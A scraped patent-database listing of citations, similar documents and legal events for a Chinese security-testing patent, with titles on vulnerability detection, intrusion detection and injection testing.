CN111859399A (zh) * 2020-07-29 2020-10-30 网宿科技股份有限公司 一种基于oval的漏洞检测方法及装置
CN114257649B (zh) * 2020-09-25 2023-05-12 深圳市腾讯计算机系统有限公司 一种自动测试方法、系统及装置
CN112202763B (zh) * 2020-09-28 2022-04-22 杭州安恒信息技术股份有限公司 一种ids策略生成方法、装置、设备及介质
CN112491909B (zh) * 2020-12-01 2023-09-01 三六零数字安全科技集团有限公司 基于doh协议的流量标识方法、装置、设备及存储介质
CN112948271A (zh) * 2021-04-09 2021-06-11 腾讯科技(深圳)有限公司 一种代码测试方法、装置、设备及存储介质
CN114816558B (zh) * 2022-03-07 2023-06-30 深圳市九州安域科技有限公司 一种脚本注入方法、设备及计算机可读存储介质

Citations (2)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
CN106294102A (zh) * 2015-05-20 2017-01-04 腾讯科技(深圳)有限公司 应用程序的测试方法、客户端、服务器及系统
CN109428878A (zh) * 2017-09-01 2019-03-05 阿里巴巴集团控股有限公司 漏洞检测方法、检测装置和检测系统

Family Cites Families (1)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
US20100281248A1 (en) * 2007-02-16 2010-11-04 Lockhart Malcolm W Assessment and analysis of software security flaws

Patent Citations (2)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
CN106294102A (zh) * 2015-05-20 2017-01-04 腾讯科技(深圳)有限公司 应用程序的测试方法、客户端、服务器及系统
CN109428878A (zh) * 2017-09-01 2019-03-05 阿里巴巴集团控股有限公司 漏洞检测方法、检测装置和检测系统

Also Published As

Publication number Publication date
CN110209583A (zh) 2019-09-06

Similar Documents

Publication Publication Date Title
CN110209583B (zh) 安全测试方法、装置、系统、设备和存储介质
US10200384B1 (en) Distributed systems and methods for automatically detecting unknown bots and botnets
CN111651757B (zh) 攻击行为的监测方法、装置、设备及存储介质
US8756697B2 (en) Systems and methods for determining vulnerability to session stealing
US10182068B2 (en) Determine vulnerability using runtime agent and network sniffer
JP6173613B2 (ja) Httpトラフィックを搬送するtcp接続を分類する方法、デバイス、コンピュータプログラム及び情報記憶手段
CN111783096B (zh) 检测安全漏洞的方法和装置
US11108803B2 (en) Determining security vulnerabilities in application programming interfaces
Stasinopoulos et al. Commix: automating evaluation and exploitation of command injection vulnerabilities in Web applications
US20100235917A1 (en) System and method for detecting server vulnerability
CN104378283A (zh) 一种基于客户端/服务器模式的敏感邮件过滤系统及方法
CN107347076B (zh) Ssrf漏洞的检测方法及装置
CN113259392B (zh) 一种网络安全攻防方法、装置及存储介质
US20240064167A1 (en) Rest API Scanning for Security Testing
CN110557358A (zh) 蜜罐服务器通信方法、SSLStrip中间人攻击感知方法及相关装置
CN110768951A (zh) 验证系统漏洞的方法及装置、存储介质、电子装置
US10038763B2 (en) Method and apparatus for detecting network protocols
CN103701816A (zh) 执行拒绝服务攻击的服务器的扫描方法和扫描装置
CN110765333A (zh) 采集网站信息的方法及装置、存储介质、电子装置
CN110768948A (zh) 漏洞检测的方法及装置、存储介质、电子装置
CN110602134B (zh) 基于会话标签识别非法终端访问方法、装置及系统
KR101087291B1 (ko) 인터넷을 사용하는 모든 단말을 구분하는 방법 및 시스템
CN110768950A (zh) 渗透指令的发送方法及装置、存储介质、电子装置
CN110768949A (zh) 探测漏洞的方法及装置、存储介质、电子装置
CN107301346A (zh) 一种利用白名单机制实现安卓设备app快速安全检测方法

Legal Events

Date Code Title Description
PB01 Publication
PB01 Publication
SE01 Entry into force of request for substantive examination
SE01 Entry into force of request for substantive examination
GR01 Patent grant
GR01 Patent grant